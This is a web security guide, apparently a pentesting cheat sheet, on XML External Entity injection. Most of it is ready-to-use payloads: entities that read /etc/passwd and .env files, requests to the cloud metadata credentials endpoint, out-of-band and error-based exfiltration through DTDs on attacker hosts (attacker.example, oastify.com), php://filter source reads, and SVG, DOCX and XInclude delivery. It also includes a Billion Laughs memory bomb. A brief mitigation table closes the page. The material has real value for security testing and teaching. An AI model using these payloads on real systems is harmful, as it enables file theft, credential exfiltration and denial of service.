Skip to content
Select theme

XML External Entity (XXE) Injection

XXE injection exploits the external entity feature of XML parsers. When an application processes XML input without disabling external entities, an attacker can define entities that load local files, make HTTP requests to internal services, or exfiltrate data out-of-band.

Impact Description
File read file:///etc/passwd, config files, source code, .env
SSRF Reach internal services, cloud metadata
Data exfiltration Blind extraction via DNS/HTTP to attacker server
Denial of Service Billion Laughs (entity expansion bomb)
<?xml version="1.0" encoding="UTF-8"?>
<stock>
<productId>381</productId>
</stock>

The server reads 381, checks stock, returns a result.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stock>
<productId>&xxe;</productId>
</stock>

The parser resolves &xxe; by loading /etc/passwd and substituting its contents into the element. The server returns the file content in the response.

The entity value is reflected in the response.

Read /etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stock>
<productId>&xxe;</productId>
</stock>

If the response contains root:x:0:0:root:/root:/bin/bash - the file was read.

Replace the file URI with an HTTP URL to reach internal services:

Reach an internal admin panel
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
<stock>
<productId>&xxe;</productId>
</stock>

The entity value is not reflected in the response. Use an external server to receive the data.

OOB exfiltration via Burp Collaborator
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://YOUR-ID.oastify.com/evil.dtd">
%dtd;
]>
<stock>
<productId>&send;</productId>
</stock>

The external DTD (evil.dtd) hosted on the attacker server:

evil.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR-ID.oastify.com/?data=%file;'>">
%all;

The parser loads the DTD, resolves %file; with the file content, and makes a request to the attacker server with the data in the URL.

When OOB HTTP exfiltration fails (file has newlines, firewall blocks outbound), force a parsing error that leaks the file content in the error message:

evil.dtd (hosted on attacker server)
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
%dtd;
]>
<stock><productId>1</productId></stock>

The parser tries to load file:///nonexistent/root:x:0:0:... and returns an error containing the file content. This works even when the file has newlines, because the error message is not a URL.

On PHP targets, use php://filter to base64-encode the file, avoiding parsing issues with XML special characters:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<stock><productId>&xxe;</productId></stock>

The response contains the base64-encoded file. Decode it:

Terminal window
echo "cm9vdDp4OjA..." | base64 -d

This also works for reading PHP source code that would otherwise be executed:

php://filter/convert.base64-encode/resource=index.php
  • Content-Type: application/xml or text/xml
  • XML tags visible in the POST body
  • SOAP requests (SOAP uses XML)
Vector What to try
Form data Change Content-Type to application/xml and send XML body
File upload (SVG) SVG is XML - embed XXE in the SVG
File upload (DOCX) DOCX is a ZIP of XML files - inject XXE in internal XML
JSON API Some parsers accept XML if you change the Content-Type

Browse with Burp. In HTTP History search for Content-Type: application/xml, text/xml, or visible XML tags. Also check file upload endpoints (SVG, DOCX).

Send the original XML request in Repeater. Confirm it processes normally.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

Inject &xxe; in a reflected element. If the file content appears in the response - XXE confirmed.

If /etc/passwd does not work:

OS Files to try
Linux /etc/hosts, /etc/hostname, /proc/version, /var/www/html/.env
Windows C:\Windows\win.ini, C:\boot.ini, C:\Windows\System32\drivers\etc\hosts
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://localhost:8080/admin"> ]>

Check if the response contains content from the internal service.

If no entity value is reflected:

  1. Generate a Collaborator domain
  2. Use the OOB exfiltration payload above
  3. Check Collaborator for DNS/HTTP interactions
xxe.svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE cat [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg">
<text x="0" y="15" fill="#000">&xxe;</text>
</svg>

Upload as an image. If the application renders or processes the SVG server-side, the file is read.

XInclude (when you cannot control the DOCTYPE)

Section titled “XInclude (when you cannot control the DOCTYPE)”

Some applications embed user input inside an existing XML document. You cannot add a DOCTYPE, but you can use XInclude:

XInclude payload
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
Protocol Use
file:/// Local file read
http:// / https:// SSRF, internal service access
gopher:// Protocol tunneling (if supported)
ftp:// FTP-based exfiltration
php://filter/convert.base64-encode/resource= PHP only - base64-encode files to avoid parsing issues
expect:// PHP only - command execution (if expect module loaded)

A recursive entity expansion that consumes all available memory:

Billion Laughs payload
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<data>&lol9;</data>

The 3-byte string lol expands to ~3 GB in memory. The input file is tiny but the parsed output is enormous. This crashes or hangs the parser.

DOCX and XLSX files are ZIP archives containing XML files. If the server processes them (parses content, extracts text, generates previews), you can inject XXE into the internal XML.

Steps:

  1. Create a normal .docx file
  2. Rename it to .zip and extract
  3. Edit word/document.xml (or [Content_Types].xml) to inject an external entity:
word/document.xml (injected)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body>
</w:document>
  1. Re-zip and rename back to .docx
  2. Upload

If the response or the processed document contains /etc/passwd content, the parser resolved the entity.

Response Meaning
DOCTYPE not allowed / External entities disabled Parser hardened - not vulnerable
Same response with and without entity Entity ignored - try blind XXE
XML parsing error WAF may be blocking - try encoding bypasses
Entity resolves but value is empty File may not exist - try other paths
Measure How
Disable external entities factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) (Java)
Disable DTDs entirely Strongest option - blocks all entity-based attacks
Use a safe XML library Modern libraries disable external entities by default
Input validation Reject DOCTYPE declarations in user-supplied XML
Least privilege XML parser process should not have read access to sensitive files

952 words, about 5 min read